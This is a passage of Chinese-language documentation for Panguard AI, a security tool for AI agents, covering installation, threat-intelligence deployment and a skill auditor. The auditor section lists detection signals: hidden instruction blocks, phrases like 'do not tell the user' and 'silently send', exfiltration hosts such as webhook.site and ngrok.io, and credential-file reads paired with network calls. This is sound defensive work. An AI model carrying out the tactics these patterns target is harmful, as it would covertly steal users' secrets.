panguard guard start --data-dir /opt/panguard/data
```

**目錄內容：**

* `guard.pid` -- PID 檔（防止跑多個實例）
* `baseline/` -- 行為基線資料
* `rules/` -- 自訂 ATR 規則
* `logs/` -- 事件日誌（JSONL，自動輪替）
* `config.json` -- Guard config

***

## PID 管理

Guard 用 PID 檔管理 process 狀態：

* 啟動時寫入 PID
* 正常關閉時移除 PID 檔
* 防止多個實例同時跑
* 支援 SIGTERM 和 SIGINT 優雅關閉

***

## 相關文件

<CardGroup>
  <Card title="即時防護" icon="shield" href="/guides/real-time-protection">
    設定 Guard 做持續監控和回應。
  </Card>

  <Card title="Docker 部署" icon="docker" href="/guides/docker-deployment">
    用容器跑 Guard。
  </Card>

  <Card title="多端點部署" icon="server" href="/guides/multi-endpoint">
    把 Guard agent 連線到集中式 Manager。
  </Card>

  <Card title="環境變數" icon="sliders" href="/configuration/environment-variables">
    完整環境變數參考。
  </Card>
</CardGroup>


# 部署 Threat Cloud
Source: https://docs.panguard.ai/zh-Hant/guides/threat-cloud-deployment

自架 Threat Cloud 伺服器，集中管理威脅情報，資料完全掌握在自己手上。

Threat Cloud 是 Panguard 的自架威脅情報平台。它彙總來自 Guard agent 和蜜罐的入侵指標 (IoC)，提供 feed 端點給下游工具訂閱，追蹤攻擊活動 -- 資料完全留在你的基礎設施。

<Steps>
  <Step title="啟動 Threat Cloud 伺服器">
    指定 port 啟動：

    ```bash theme={null}
    panguard threat start --port 8080
    ```

    ```
      PANGUARD AI - Threat Cloud

      Starting Threat Cloud server...

      -- Server Info ----------------------------

      URL:        http://localhost:8080
      Database:   SQLite (./panguard-threat.db)
      API Key:    pg_threat_abc123...
      Rate Limit: 100 req/min

      Threat Cloud is running.
      API documentation: http://localhost:8080/docs
    ```

    <Info>
      API key 在第一次啟動時自動產生，存在 Panguard config 裡。所有 API 請求都用它來認證。
    </Info>
  </Step>

  <Step title="了解架構">
    Threat Cloud 用輕量級架構，適合單台伺服器部署：

    | 元件      | 技術                    | 用途                 |
    | ------- | --------------------- | ------------------ |
    | **資料庫** | SQLite                | 存 IoC、攻擊活動、feed 資料 |
    | **API** | REST + JSON           | 所有資源的 CRUD         |
    | **認證**  | API key（Bearer token） | 認證所有請求             |
    | **限流**  | 預設 100 req/min        | 防濫用，可調整            |

    <Note>
      SQLite 是預設後端。大流量部署（10+ 個 agent）建議把資料庫放 SSD，開啟 WAL 模式：`panguard threat start --db-wal`。
    </Note>
  </Step>

  <Step title="管理入侵指標">
    手動加 IoC，或讓 Guard agent 自動推送：

    <CodeGroup>
      ```bash 透過 CLI 加 IoC theme={null}
      panguard threat ioc add \
        --type ip \
        --value "203.0.113.42" \
        --severity high \
        --tags "brute-force,ssh"
      ```

      ```bash 列出最近的 IoC theme={null}
      panguard threat ioc list --limit 20
      ```

      ```bash 搜尋 IoC theme={null}
      panguard threat ioc search --value "203.0.113.*"
      ```
    </CodeGroup>

    Guard agent 推上來的 IoC 會附完整上下文：觸發事件、蜜罐互動資料、分析結果。
  </Step>

  <Step title="設定 feed 端點">
    Threat Cloud 公開 feed 端點，讓 SIEM、防火牆、其他 Panguard 實例訂閱：

    ```
    GET /api/v1/feeds/ip-blocklist     要封鎖的 IP
    GET /api/v1/feeds/domain-blocklist  惡意 domain
    GET /api/v1/feeds/ioc-all          所有 IoC（STIX 2.1 格式）
    ```

    範例：拉 IP 封鎖清單：

    ```bash theme={null}
    curl -H "Authorization: Bearer pg_threat_abc123..." \
      http://localhost:8080/api/v1/feeds/ip-blocklist
    ```

    ```json theme={null}
    {
      "feed": "ip-blocklist",
      "updated": "2026-03-07T14:00:00Z",
      "count": 42,
      "indicators": [
        { "value": "203.0.113.42", "severity": "high", "last_seen": "2026-03-07T14:30:22Z" },
        { "value": "198.51.100.17", "severity": "medium", "last_seen": "2026-03-07T03:12:44Z" }
      ]
    }
    ```
  </Step>

  <Step title="追蹤攻擊活動">
    把相關 IoC 和事件歸到同一個攻擊活動，方便調查：

    <CodeGroup>
      ```bash 建立攻擊活動 theme={null}
      panguard threat campaign create \
        --name "SSH Brute Force Wave" \
        --description "Coordinated brute-force attacks from CN/RU ranges" \
        --iocs "203.0.113.42,198.51.100.17,192.0.2.88"
      ```

      ```bash 列出攻擊活動 theme={null}
      panguard threat campaign list
      ```

      ```bash 看攻擊活動詳情 theme={null}
      panguard threat campaign view --name "SSH Brute Force Wave"
      ```
    </CodeGroup>
  </Step>

  <Step title="隱私與資料處理">
    Threat Cloud 以隱私為核心設計原則：

    * **自架：** 所有資料留在你的基礎設施
    * **匿名化：** 共享 feed 中的 IP 可做 hash 處理
    * **零遙測：** 不會送任何資料到 Panguard AI 伺服器
    * **資料保留：** IoC 的 TTL 可設定（預設 90 天）

    ```bash theme={null}
    panguard threat start --port 8080 \
      --retention-days 30 \
      --anonymize-feeds
    ```

    <Warning>
      如果要把 Threat Cloud 開放到外網，務必用 HTTPS（反向代理）並限制 IP 或 VPN 存取。光靠 API key 不足以應對公開部署。
    </Warning>
  </Step>
</Steps>

## 下一步

<CardGroup>
  <Card title="Threat Cloud 產品參考" icon="book" href="/products/threat-cloud/overview">
    Threat Cloud 平台與架構的完整文件。
  </Card>

  <Card title="隱私模型" icon="lock" href="/products/threat-cloud/privacy">
    資料處理、匿名化、保留政策的詳細說明。
  </Card>

  <Card title="Threat Cloud API" icon="code" href="/api-reference/threat-cloud/ioc">
    IoC、feed、攻擊活動端點的完整 API 參考。
  </Card>

  <Card title="Docker 部署" icon="docker" href="/guides/docker-deployment">
    用容器跑 Threat Cloud。
  </Card>
</CardGroup>


# 安裝
Source: https://docs.panguard.ai/zh-Hant/installation

一行指令安裝。Dashboard 自動開啟。

## 30 秒搞定

<Tabs>
  <Tab title="macOS / Linux">
    ```bash theme={null}
    curl -fsSL https://get.panguard.ai | bash
    ```

    就這樣。Panguard 安裝完、連接你的 AI agent、Dashboard 自動開。
  </Tab>

  <Tab title="Windows">
    ```powershell theme={null}
    irm https://get.panguard.ai/windows | iex
    ```

    在 PowerShell 裡跑。Panguard 安裝完、連接你的 AI agent、Dashboard 自動開。
  </Tab>

  <Tab title="npm（全平台）">
    ```bash theme={null}
    npm install -g panguard && pga up
    ```

    需要 [Node.js 20+](https://nodejs.org/)。
  </Tab>
</Tabs>

安裝完，瀏覽器自動打開 `http://127.0.0.1:9100` Guard Dashboard。

***

## 剛剛發生了什麼？

安裝程式做了 3 件事：

1. **裝好 Panguard** — CLI + 768 條 ATR 偵測規則（OWASP Agentic Top 10: 10/10 覆蓋）
2. **連接你的 AI agent** — 自動偵測 Claude Code、Cursor、OpenClaw 和[其他 13 個平台](/guides/claw-setup)
3. **啟動 Guard** — 24/7 監控，Dashboard 在 `http://127.0.0.1:9100`

你已經受保護了。你的 AI agent 用的每個 MCP skill 都在即時監控中。

***

## 確認有在跑

```bash theme={null}
panguard --version
```

```
1.9.0
```

```bash theme={null}
panguard guard status
```

應該會看到 Guard 在 learning mode 執行中（第 1/7 天）。

***

## 下一步

<CardGroup>
  <Card title="掃描你的 AI Skill" icon="magnifying-glass" href="/quickstart">
    審計所有已安裝的 MCP skill，偵測 prompt injection、憑證竊取等。
  </Card>

  <Card title="看懂安全評分" icon="chart-line" href="/concepts/security-score">
    你的 A-F 安全等級代表什麼，怎麼提升。
  </Card>

  <Card title="設定通知" icon="bell" href="/guides/notifications-setup">
    偵測到威脅時透過 Telegram、Slack、Email 收警報。
  </Card>

  <Card title="平台設定指南" icon="bolt" href="/guides/claw-setup">
    手動設定 OpenClaw、NemoClaw、ArkClaw 等平台。
  </Card>
</CardGroup>

***

## 系統需求

|             | 最低需求                                |
| ----------- | ----------------------------------- |
| **作業系統**    | macOS 12+、Ubuntu 20.04+、Windows 10+ |
| **Node.js** | 20+                                 |
| **磁碟空間**    | 200 MB                              |
| **記憶體**     | 512 MB（Guard 建議 1 GB）               |

<Accordion title="平台支援細節">
  | 功能                | macOS | Linux | Windows |
  | ----------------- | ----- | ----- | ------- |
  | **Skill Auditor** | 完整    | 完整    | 完整      |
  | **Scan**          | 完整    | 完整    | 部分      |
  | **Guard**         | 完整    | 完整    | 完整      |
  | **Threat Cloud**  | 完整    | 完整    | 完整      |

  Windows 支援所有核心功能。部分 OS 層級的網路監控不如 macOS/Linux。
</Accordion>

<Accordion title="從原始碼建置（contributor）">
  ```bash theme={null}
  git clone https://github.com/panguard-ai/panguard-ai.git
  cd panguard-ai
  pnpm install && pnpm build
  ./bin/panguard --help
  ```

  需要 [pnpm](https://pnpm.io/) 10+ 和 Node.js 20+。
</Accordion>

<Accordion title="解除安裝">
  <Tabs>
    <Tab title="npm">`bash npm uninstall -g panguard `</Tab>
    <Tab title="curl 安裝">`bash rm "$(which panguard)" `</Tab>
  </Tabs>
</Accordion>


# Panguard AI
Source: https://docs.panguard.ai/zh-Hant/introduction

AI Agent 安全的第一個開放標準。768 條 ATR 偵測規則。OWASP Agentic Top 10: 10/10 覆蓋。17 個平台。Community 永久免費開源。

<Note>
  **v1.9.0 已發布** -- 支援 17 個 AI 平台、768 條 ATR 規則、OWASP Agentic Top 10 完整覆蓋、67,799 個 skills 掃描 · 1,096 個確認惡意。[查看更新日誌](/changelog)。
</Note>

Panguard AI 是第一個專為 AI Agent 時代打造的開源資安平台。當 AI Agent 拿到系統 root 權限存取正式環境，Panguard 提供偵測規則、執行引擎和集體情報網路來把關安全。

**一行指令。全面防護。不用註冊帳號。**

```bash theme={null}
curl -fsSL https://get.panguard.ai | bash
```

***

## 關鍵數字

|                         |                                                                                                                                                                                |
| ----------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| **768** 條偵測規則           | ATR (768) + 社群貢獻                                                                                                                                                               |
| **17** 個 AI 平台          | Claude Code, Claude Desktop, Cursor, Hermes Agent, OpenClaw, Codex, WorkBuddy, NemoClaw, ArkClaw, Windsurf, QClaw, Cline, VS Code Copilot, Zed, Gemini CLI, Continue, Roo Code |
| **OWASP 10/10**         | 完整覆蓋 OWASP Agentic Top 10 for Agentic Applications 2026                                                                                                                        |
| **3 層** AI 管線           | 規則引擎、本地 AI (Ollama)、雲端 AI (Claude/OpenAI)                                                                                                                                      |
| **12** 個 MCP 工具         | 掃描、審計、防護、威脅搜尋等                                                                                                                                                                 |
| **8 項檢查** Skill Auditor | 每個 AI Skill 安裝前都要過關                                                                                                                                                            |
| **0** 帳號需求              | 不用登入、不用註冊、不用 API key 就能開始                                                                                                                                                      |

***

## OWASP Agentic Top 10: 完整覆蓋

ATR 規則對應 [OWASP Top 10 for Agentic Applications 2026](https://owasp.org/www-project-top-10-for-agentic-applications/) 的每一個類別：

| OWASP Category                    | ATR Rules | Coverage |
| --------------------------------- | --------- | -------- |
| ASI01: Agent Goal Hijack          | 13 rules  | STRONG   |
| ASI02: Tool Misuse & Exploitation | 11 rules  | STRONG   |
| ASI03: Identity & Privilege Abuse | 9 rules   | STRONG   |
| ASI04: Agentic Supply Chain       | 8 rules   | STRONG   |
| ASI05: Unexpected Code Execution  | 8 rules   | STRONG   |
| ASI06: Memory & Context Poisoning | 8 rules   | STRONG   |
| ASI07: Inter-Agent Communication  | 5 rules   | MODERATE |
| ASI08: Cascading Failures         | 4 rules   | MODERATE |
| ASI09: Human-Agent Trust          | 5 rules   | MODERATE |
| ASI10: Rogue Agents               | 7 rules   | MODERATE |

完整對應表：[GitHub 上的 OWASP-MAPPING.md](https://github.com/Agent-Threat-Rule/agent-threat-rules/blob/main/docs/OWASP-MAPPING.md)

***

## 三大支柱

<CardGroup>
  <Card title="ATR -- 標準" icon="file-code" href="/overview">
    **768 條規則，10 大威脅類別。** AI Agent 威脅偵測的第一個開放標準 -- prompt injection、tool
    poisoning、skill compromise、agent manipulation。YAML 格式，人看得懂，機器跑得動。OWASP Agentic Top 10: 10/10 覆蓋。
  </Card>

  <Card title="Threat Cloud -- 情報網" icon="globe" href="/products/threat-cloud/overview">
    **集體免疫。** 每個安裝都貢獻匿名化威脅訊號。管線從真實攻擊自動產生規則。11
    個情報來源，每小時同步一次。
  </Card>

  <Card title="Guard -- 引擎" icon="shield-halved" href="/products/guard/overview">
    **4-Agent AI 管線。** Detect、Analyze、Respond、Report。用 768 條 ATR 規則處理 OS 層級事件。內建
    Skill Auditor。自動封鎖 IP、終止 process、隔離檔案。
  </Card>
</CardGroup>

***

## 快速開始

安裝、掃描、防護，4 行指令搞定：

```bash theme={null}
curl -fsSL https://get.panguard.ai | bash
panguard setup
panguard scan --quick
panguard guard start --dashboard
```

`panguard setup` 自動偵測你機器上全部 17 個 AI 平台，注入正確的 MCP 或原生 Skill 設定。

`panguard guard start --dashboard` 啟動 24/7 即時防護，並在瀏覽器開啟本地 Dashboard `http://127.0.0.1:9100`。

<CardGroup>
  <Card title="逐步快速入門" icon="rocket" href="/quickstart">
    每一步的詳細說明和預期輸出。
  </Card>

  <Card title="安裝指南" icon="download" href="/installation">
    macOS、Linux、Windows 各平台安裝說明。
  </Card>
</CardGroup>

***

## 平台專屬設定

<Tabs>
  <Tab title="自動偵測全部平台">
    ```bash theme={null}
    curl -fsSL https://get.panguard.ai | bash && panguard setup
    ```

    一行指令自動偵測並設定全部 17 個支援的 AI 平台：Claude Code, Claude Desktop, Cursor, Hermes Agent, OpenClaw, Codex, WorkBuddy, NemoClaw, ArkClaw, Windsurf, QClaw, Cline, VS Code Copilot, Zed, Gemini CLI, Continue, Roo Code。
  </Tab>

  <Tab title="OpenClaw">
    ```bash theme={null}
    curl -fsSL https://get.panguard.ai | bash && panguard setup --platform openclaw
    ```

    以原生 **Skill** 安裝到 `~/.openclaw/skills/panguard/SKILL.md`。重啟 OpenClaw 後就能用：

    ```
    > Audit the skills in this project
    > Scan my machine for vulnerabilities
    > Start real-time protection
    ```
  </Tab>

  <Tab title="NemoClaw">
    ```bash theme={null}
    curl -fsSL https://get.panguard.ai | bash && panguard setup --platform nemoclaw
    ```

    註冊為 NemoClaw 的 **MCP server**。重啟 NemoClaw 就能使用 12 個安全工具。
  </Tab>

  <Tab title="ArkClaw">
    ```bash theme={null}
    curl -fsSL https://get.panguard.ai | bash && panguard setup --platform arkclaw
    ```

    註冊為 ArkClaw 的 **MCP server**。重啟 ArkClaw 就能使用 12 個安全工具。
  </Tab>
</Tabs>

<Tip>手動設定與疑難排解請參閱[平台設定指南](/guides/claw-setup)。</Tip>

***

## 誰適合用 Panguard AI？

<CardGroup>
  <Card title="開發者" icon="laptop-code">
    零設定保護你的 server、VPS、開發機。一行指令裝好，繼續寫 code。
  </Card>

  <Card title="中小企業" icon="building">
    不用養資安團隊也能做到合規水準。自動產生 ISO 27001、SOC 2、台灣 TCSA 稽核報告。
  </Card>

  <Card title="MSP" icon="server">
    用即時 Guard 防護監控和保護端點。
  </Card>
</CardGroup>

***

## 為什麼選 Panguard AI？

傳統資安工具年費動輒六位數，還需要專職團隊操作。免費工具雖然有，但沒資安工程師根本用不起來。

Panguard 走不同路線：

* **一行指令安裝** -- 不用寫設定檔、不用調參數、不用看術語
* **白話警報** -- 透過 Telegram、Slack、Email、LINE 用你看得懂的語言通知
* **AI 自動研判** -- 系統判斷嚴重程度，自動回應，自動產報告
* **越用越聰明** -- 行為基線會適應你的環境
* **Skill Auditor** -- 每個 AI Skill 安裝前都要過審計，擋住供應鏈攻擊
* **Community 永久免費** -- MIT 授權、768 條 ATR 規則、無限自架、無需註冊。生產級 F500 部署可選 [Enterprise（$150K-500K / 年）](https://panguard.ai/zh-TW/pricing)、[Migrator Pro（$500K-2M / 年）](https://panguard.ai/zh-TW/pricing)、或 [Sovereign（\$5-20M / 國家）](https://panguard.ai/zh-TW/pricing),內含簽章、持續重掃的合規 evidence、離網部署、SLA。

***

## 研究論文

ATR 有經過同儕審查的研究論文，記錄了方法論、偵測架構和評測結果。

> **Agent Threat Rules: A Community-Driven Detection Standard for AI Agent Security**
> 發布於 [Zenodo (DOI: 10.5281/zenodo.19178002)](https://doi.org/10.5281/zenodo.19178002)。正在 arXiv 和 SSRN 審查中。

論文涵蓋：威脅分類體系、偵測架構（regex + LLM crystallization）、PINT benchmark 評測（63.6% recall, 99.7% precision on 850 samples）、SKILL.md benchmark（100% recall, 97% precision, 0.2% FP on 498 real-world samples）、Garak benchmark（95.7% recall on 650 samples），以及 64 種已記錄的繞過技術。

***

<h2>
  100% 開源
</h2>

所有功能免費。完整原始碼。零黑箱。每一行都可以稽核。

<CardGroup>
  <Card title="Panguard AI GitHub" icon="github" href="https://github.com/panguard-ai/panguard-ai">
    Star 專案、看原始碼、回報 issue、或送 PR。
  </Card>

  <Card title="ATR Rules GitHub" icon="file-code" href="https://github.com/Agent-Threat-Rule/agent-threat-rules">
    AI Agent 威脅偵測的開放標準。貢獻規則來強化集體免疫。
  </Card>
</CardGroup>

***

## 深入了解

<CardGroup>
  <Card title="產品總覽" icon="shield-check" href="/overview">
    深入了解三大支柱：ATR、Threat Cloud、Guard。
  </Card>

  <Card title="CLI 參考" icon="terminal" href="/cli/overview">
    所有 Panguard CLI 指令的完整參考文件。
  </Card>

  <Card title="API 參考" icon="code" href="/api-reference/overview">
    Threat Cloud REST API 文件。
  </Card>

  <Card title="核心概念" icon="lightbulb" href="/concepts/three-layer-ai">
    了解驅動 Panguard 的三層式 AI 架構。
  </Card>
</CardGroup>


# 產品總覽
Source: https://docs.panguard.ai/zh-Hant/overview

Panguard AI -- AI Agent 安全的開放標準。三大支柱：ATR（標準）、Threat Cloud（集體免疫）、Guard（引擎）。

## Panguard AI 是什麼？

Panguard AI 是專為 AI Agent 時代打造的開源資安平台。當 AI Agent（Claude Code, Claude Desktop, Cursor, QClaw, OpenClaw, Codex CLI, WorkBuddy, NemoClaw, ArkClaw, Windsurf, Cline, VS Code Copilot, Zed, Gemini CLI, Continue, Roo Code）拿到系統 root 權限存取正式環境，Panguard 提供第一個偵測和阻斷 Agent 層級威脅的開放標準。

**三大支柱。一個目標：守護每一個 AI Agent。**

1. **ATR (Agent Threat Rules)** -- AI Agent 威脅偵測的開放標準（768 條規則，10 大類別，OWASP 10/10）
2. **Threat Cloud** -- 每個安裝都讓所有人更安全的集體免疫網路（11 個情報來源，每小時同步）
3. **Guard** -- 內建 Skill Auditor + 威脅阻斷 + 自動回應的執行引擎（768 條 ATR 規則）

## 三大支柱

<CardGroup>
  <Card title="ATR -- 標準" icon="file-code">
    **768 條規則，10 大威脅類別。OWASP 10/10。** AI Agent 威脅偵測的第一個開放標準 -- 專門對付 prompt
    injection、tool poisoning、skill compromise、agent manipulation。YAML
    格式，人看得懂，機器跑得動。
  </Card>

  <Card title="Threat Cloud -- 情報網" icon="globe">
    **集體免疫。** 每個 Panguard 安裝都貢獻匿名化威脅訊號。管線透過 Claude Sonnet 4 LLM
    審查，從真實攻擊自動產生 ATR 規則。11 個威脅情報來源、5,000+ 驗證過的 IoC 記錄，每小時同步。
  </Card>

  <Card title="Guard -- 引擎" icon="shield-halved">
    **768 條 ATR 偵測規則。** 4-Agent AI 管線（Detect、Analyze、Respond、Report）用 ATR 規則處理 OS
    層級事件。內建 Skill Auditor 在安裝前把關每個 AI Skill。自動封鎖 IP、終止 process、隔離檔案。
  </Card>
</CardGroup>

## 附加工具

<CardGroup>
  <Card title="Panguard Scan" icon="magnifying-glass">
    **60 秒安全稽核。** 一次性掃描產出風險分數（0-100，A-F 等級）、PDF 報告和合規報告（ISO
    27001、SOC 2、TCSA）。涵蓋 port、服務、防火牆、SSL/TLS、密碼策略、CVE 查詢。MIT 授權。
  </Card>

  <Card title="MCP Server" icon="plug">
    **AI 助手整合。** 12 個 MCP 工具讓 Claude Desktop、Cursor、Claude Code 直接用自然語言操作
    Panguard。
  </Card>

  <Card title="Skill Auditor" icon="clipboard-check">
    **安裝前的安全閘門。** 8 項檢查分析 AI Skill manifest，偵測 prompt injection、tool
    poisoning、硬編碼憑證和不安全依賴。
  </Card>
</CardGroup>

## 三層 AI 架構

Panguard 用分層 AI 漏斗平衡速度、成本和準確度。每一層處理更少但更複雜的事件。

| 層級          | 技術                      | 處理比例   | 延遲      | 成本          |
| ----------- | ----------------------- | ------ | ------- | ----------- |
| **Layer 1** | ATR 規則引擎                | 90% 事件 | \< 50ms | \$0         |
| **Layer 2** | 本地 AI (Ollama)          | 7% 事件  | \~2s    | \$0         |
| **Layer 3** | 雲端 AI (Claude / OpenAI) | 3% 事件  | \~5s    | \~\$0.008/次 |

<Info>**韌性設計。** 雲端 AI 掛了，本地 AI 接手。本地 AI 掛了，規則引擎繼續跑。防護永不中斷。</Info>

深入了解 AI 架構請見[三層 AI](/concepts/three-layer-ai)。

## 技術堆疊

| 類別          | 技術                                       |
| ----------- | ---------------------------------------- |
| 語言          | TypeScript 5.7 (strict mode)             |
| Runtime     | Node.js 20+                              |
| Monorepo    | pnpm 10 workspaces                       |
| 測試          | Vitest 3 (3,583 tests / 165 files)       |
| 偵測規則        | ATR (768) -- OWASP Agentic Top 10: 10/10 |
| AI Provider | Ollama (本地) + Claude / OpenAI (雲端)       |
| 多語系         | English + 繁體中文                           |
| 加密          | AES-256-GCM                              |
| 授權          | MIT                                      |

## 平台支援

Panguard 透過 MCP 或原生 Skill 協議整合 17 個 AI Agent 平台：

| 平台                  | 協議           | 設定路徑                                       |
| ------------------- | ------------ | ------------------------------------------ |
| **Claude Code**     | MCP          | `~/.claude/settings.local.json`            |
| **Claude Desktop**  | MCP          | `~/Library/.../claude_desktop_config.json` |
| **Cursor**          | MCP          | `~/.cursor/mcp.json`                       |
| **Hermes Agent**    | MCP          | `~/.hermes/config.yaml`                    |
| **OpenClaw**        | Native Skill | `~/.openclaw/skills/panguard/SKILL.md`     |
| **Codex CLI**       | MCP          | `~/.codex/mcp.json`                        |
| **WorkBuddy**       | MCP          | `~/.workbuddy/.mcp.json`                   |
| **NemoClaw**        | MCP          | `~/.nemoclaw/mcp.json`                     |
| **ArkClaw**         | MCP          | `~/.arkclaw/mcp.json`                      |
| **Windsurf**        | MCP          | `~/.windsurf/mcp.json`                     |
| **QClaw**           | MCP          | `~/.qclaw/mcp.json`                        |
| **Cline**           | MCP          | `~/.cline/mcp.json`                        |
| **VS Code Copilot** | MCP          | `~/.vscode/mcp.json`                       |
| **Zed**             | MCP          | `~/.zed/mcp.json`                          |
| **Gemini CLI**      | MCP          | `~/.gemini/mcp.json`                       |
| **Continue**        | MCP          | `~/.continue/mcp.json`                     |
| **Roo Code**        | MCP          | `~/.roo-code/mcp.json`                     |

所有平台只要一行 `panguard setup` 就能自動設定。

<h2>
  100% 開源
</h2>

Panguard AI Community 以 [MIT 授權](https://github.com/panguard-ai/panguard-ai/blob/main/LICENSE)發布 -- 完整原始碼、無限自架、無需註冊。每一行都可以稽核。生產級 F500 部署可選 Enterprise（$150K-500K / 年）、Migrator Pro（$500K-2M / 年）、或 Sovereign（\$5-20M / 國家），內含簽章、持續重掃的合規 evidence、離網部署、SLA。請見 [pricing](https://panguard.ai/zh-TW/pricing)。

<CardGroup>
  <Card title="GitHub 上查看" icon="github" href="https://github.com/panguard-ai/panguard-ai">
    看原始碼、回報 issue、或送 PR。
  </Card>

  <Card title="ATR Rules GitHub" icon="file-code" href="https://github.com/Agent-Threat-Rule/agent-threat-rules">
    貢獻 ATR 規則 -- 每條新規則都強化所有使用者的集體免疫。
  </Card>
</CardGroup>


# 快速入門
Source: https://docs.panguard.ai/zh-Hant/quickstart

一行指令。Dashboard 自動開。你已經受保護了。

## 一行搞定

<Tabs>
  <Tab title="macOS / Linux">`bash curl -fsSL https://get.panguard.ai | bash `</Tab>
  <Tab title="Windows">`powershell irm https://get.panguard.ai/windows | iex `</Tab>

  <Tab title="npm（全平台）">
    ```bash theme={null}
    npm install -g panguard && pga up
    ```

    `pga` 是 `panguard` 的簡寫，兩個都能用。
  </Tab>
</Tabs>

一行指令做完所有事：安裝 Panguard、連接你的 AI agent（全部 17 個支援平台，包含 Claude Code, Cursor, OpenClaw, Windsurf, Zed 等）、掃描所有已安裝的 skill。

接著啟動防護：

```bash theme={null}
pga up
```

啟動 Guard + 開啟 Dashboard。兩個字，全面防護。

***

## 掃描你的 AI Skill

裝好之後，審計你系統上的 MCP skill：

```bash theme={null}
pga audit skill ./my-skill
```

```
Risk Score: 8/100 (LOW)
[PASS] Manifest: valid SKILL.md
[PASS] Prompt Safety: no injection patterns
[PASS] Secrets: none found
[PASS] Code: no suspicious patterns

VERDICT: SAFE TO INSTALL
```

掃描所有平台上已安裝的 skill：

```bash theme={null}
pga scan
```

用 768 條 ATR 規則檢查所有 skill，涵蓋全部 10 個 OWASP Agentic Top 10 類別 -- prompt injection、tool poisoning、credential theft 等。

<Warning>
  **CRITICAL 和 HIGH 的發現需要你處理。** 逐一檢查每個發現，決定要保留、更新還是移除。
</Warning>

***

## 看 Guard 狀態

```bash theme={null}
pga status
```

```
Status:     RUNNING
Mode:       learning (Day 1/7)
Rules:      768 ATR detection rules (OWASP 10/10)
Dashboard:  http://127.0.0.1:3743
```

<Info>
  **學習模式（第 1-7 天）：** Guard 觀察你的正常行為並建立 baseline。這段期間不會誤報。第 7
  天之後異常偵測自動啟動。
</Info>

***

## 飛輪怎麼運作

跑 Panguard 的同時，你的機器就加入了集體防禦網路：

1. **Guard 在你的機器上偵測到威脅。**
2. **匿名 hash 分享到 Threat Cloud**（不含個資、不含原始碼）。
3. **3 個獨立掃描器確認**同樣的 pattern -- 自動產生新 ATR 規則。
4. **所有 Panguard 使用者在 1 小時內收到新規則。**

一台機器被攻擊，一小時後所有機器都免疫。

***

## 常用指令

| 指令                       | 功能                |
| ------------------------ | ----------------- |
| `pga`                    | 開啟互動式選單           |
| `pga up`                 | 啟動防護 + Dashboard  |
| `pga setup`              | 自動偵測並連接 AI 平台     |
| `pga scan`               | 掃描所有平台上已安裝的 skill |
| `pga audit skill <path>` | 安裝前審計單一 skill     |
| `pga status`             | 查看防護狀態            |
| `pga guard stop`         | 停止 Guard          |

<Tip>
  `pga` 是 `panguard` 的簡寫，所有指令兩個名字都能用。
</Tip>

***

## 下一步

<CardGroup>
  <Card title="看懂安全評分" icon="chart-line" href="/concepts/security-score">
    你的 A-F 等級代表什麼，怎麼提升。
  </Card>

  <Card title="設定通知" icon="bell" href="/guides/notifications-setup">
    偵測到威脅時透過 Telegram、Slack、Email 收警報。
  </Card>

  <Card title="平台整合" icon="bolt" href="/guides/claw-setup">
    手動設定 OpenClaw、NemoClaw、ArkClaw 等平台。
  </Card>

  <Card title="CLI 參考" icon="terminal" href="/cli/overview">
    所有指令和 flag 的完整參考。
  </Card>
</CardGroup>


# Skill Auditor
Source: https://docs.panguard.ai/zh-Hant/skill-auditor

安裝 MCP Skill 前先掃描安全威脅。用 scan-core 統一引擎，CLI、網站、Guard 共用同一套偵測邏輯。

Panguard Skill Auditor 在第三方 MCP Skill 接觸你的 Agent 之前，先掃描 prompt injection、tool poisoning、隱藏 Unicode、編碼 payload 等威脅。底層用 `@panguard-ai/scan-core` 統一掃描引擎，CLI (`panguard audit skill`)、網站掃描器和 Guard 的 Skill watcher 共用同一套。

## 使用方式

```
panguard audit skill /path/to/skill-directory
```

Auditor 分析 Skill 的 `SKILL.md`（或 fallback 到 `README.md`），產出風險分數 (0-100) 和詳細發現。

## 掃描架構

不管從 CLI、網站還是 Guard 觸發，所有掃描都走 `@panguard-ai/scan-core` 的 `scanContent()` 函式。確保不論入口在哪，偵測結果都一模一樣。

掃描依序執行六層偵測：

| 層級               | 做什麼                                                             |
| ---------------- | --------------------------------------------------------------- |
| **Manifest 解析**  | 抽取 frontmatter metadata（name、description、allowed-tools、version） |
| **Context 訊號偵測** | 辨識風險加乘和減項因子，調整風險乘數                                              |
| **ATR 規則比對**     | 用社群 ATR 規則比對內容（雙重掃描：原始 + 去噪）                                    |
| **指令模式比對**       | 用 11 組 regex 偵測 prompt injection 和 tool poisoning               |
| **Secret 偵測**    | 找出硬編碼的 API key、token、憑證                                         |
| **風險計分**         | 用 context 乘數加權各項發現，算出 0-100 最終分數                                |

結果另外還包含：manifest 結構驗證和內容大小檢查。

## ATR 整合

ATR 規則可用時（從 Threat Cloud 載入或本地規則目錄），掃描器會用所有已編譯的規則檢查 Skill 內容。目前 ATR 語料庫有 768 條規則、920+ 偵測 pattern，涵蓋 AI Agent 專屬威脅。

ATR 比對跑雙重掃描：

1. **原始掃描** -- 比對原始內容
2. **去噪掃描** -- 比對去除 Markdown 雜訊後的內容（抓混淆手法）

掃描結果會回報評估了多少 ATR 規則、命中了多少 pattern。

## Context 訊號

Context 訊號在 ATR 比對前就先算好，會影響發現的計分方式。分兩類：

**加乘因子**（提高風險乘數）：

* `<IMPORTANT>` 隱藏指令區塊
* 隱匿語句（"do not tell the user"）
* 資料外洩 URL pattern（workers.dev、ngrok.io、webhook.site 等）
* 繞過同意語句（"without asking"、"silently send"）
* 憑證檔案存取加上網路呼叫的組合
* 描述與行為不一致（良性描述 + 危險指令）

**減項因子**（降低風險乘數）：

* Skill 在 frontmatter 宣告 shell 存取（開發工具的正常行為）
* 描述標示為 dev/CLI/QA 工具
* 結構完整的 frontmatter（含 name、description、version/license）
* 危險 pattern 只出現在 code block 內（文件說明的脈絡）

乘數範圍限制在 **0.3x 到 2.5x**，套用到最終風險分數。這代表一個正當的開發工具如果坦白宣告自己的能力，風險分數會比較低；而試圖隱藏意圖的 Skill 分數會比較高。

## Flywheel 機制

每次 Skill 審計都貢獻社群防禦：

1. **Scan** -- 用 scan-core 在本地審計 Skill 的威脅
2. **Propose** -- 高嚴重度發現產生附帶 pattern hash 的 ATR 提案
3. **Confirm** -- 其他掃描器碰到同樣的 pattern hash 就確認提案
4. **Promote** -- 達到 3+ 確認，提案自動升級為正式 ATR 規則
5. **Distribute** -- 確認的規則透過 Threat Cloud 發送給所有掃描器
6. **Strengthen** -- 新規則強化下一次審計，形成閉環

